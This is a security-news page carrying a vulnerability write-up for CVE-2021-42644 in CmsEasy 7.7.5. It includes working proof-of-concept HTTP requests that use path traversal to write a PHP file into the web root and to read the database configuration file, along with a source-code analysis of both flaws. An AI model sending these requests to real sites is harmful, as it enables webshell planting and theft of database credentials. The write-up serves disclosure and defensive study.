Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-42644: CmsEasy_7.7.5_20211012存在任意文件写入和任意文件读取漏洞

cmseasy V7.7.5_20211012 is affected by an arbitrary file read vulnerability. After login, the configuration file information of the website such as the database configuration file (config / config_database) can be read through this vulnerability.

CVE
#xss#vulnerability#web#php
  • 0day挖掘
  • 2021-10-14

CmsEasy_7.7.5_20211012存在任意文件写入漏洞和任意文件读取漏洞

一、厂商官网

cmseasy

二、安装包下载

https://www.cmseasy.cn/download/

https://ftp.cmseasy.cn/CmsEasy7.x/CmsEasy_7.7.5_UTF-8_20211012.zip

2.1 任意文件写入漏洞getshell

后台漏洞,需登录。

2.2.1 任意文件写入漏洞poc

1
2
3
4
5
6
7
8
9
10

POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 192.168.31.96
Content-Length: 57
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: login_username=admin; login_password=357fce333f91905f3e7342d10e5a5ce4;
Connection: close

sid=#data_d_…_d_…_d_…_d_1.php&slen=693&scontent=<?php phpinfo();?>

d 代表 …/,此处用来路径穿越

发送漏洞利用的poc数据包,响应内容是ok时,代表网站根目录下被写入了1.php文件。

访问http://192.168.31.96/1.php (或者是http://localhost/1.php),此时发现phpinfo被成功执行。

2.2.2 任意文件写入漏洞代码分析

出现此漏洞的文件是lib/admin/template_admin.php

post方法传入sid=#data_d_…dd…_d_1.php,经过一轮的正则替换,最后tpl=data/…/…/…/1.php

post方法传入scontent=<?php phpinfo();?>,先通过编码实例化,再通过正则替换将单引号转义,此时content=<?php phpinfo();?>,这里的正则处理是对XSS漏洞的处理,对写入的php代码不生效。

当site=default时,代码执行到最外层else处(第2789行),此过程中,content值不变,通过file_put_contents造成了任意文件写入漏洞。

2.2 任意文件读取漏洞

后台漏洞,需登录。

2.2.1 任意文件读取漏洞poc

1
2
3
4
5
6
7
8
9
10

POST /index.php?case=template&act=fetch&admin_dir=admin&site=default HTTP/1.1
Host: 192.168.31.96
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: login_username=admin; login_password=357fce333f91905f3e7342d10e5a5ce4;
Connection: close
Content-Length: 32

id=#data_d_…_d_…_d_…_d_config_d_config_database.php

d 代表 …/,此处用来路径穿越

发送漏洞利用的poc数据包

响应内容是cmseasy网站配置文件config/config_database.php的文件内容信息。

该响应信息中包含了数据库连接地址账号以及密码。

2.2.2 任意文件读取漏洞代码分析

出现此漏洞的文件是lib/admin/template_admin.php

post方法传入id=#data_d_…dd…_d_config_d_config_database.php

通过一系列的正则替换tpl=data/…/…/…/config/config_database.php

最后通过第2757行的file_get_contents函数读取到了配置文件信息。

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907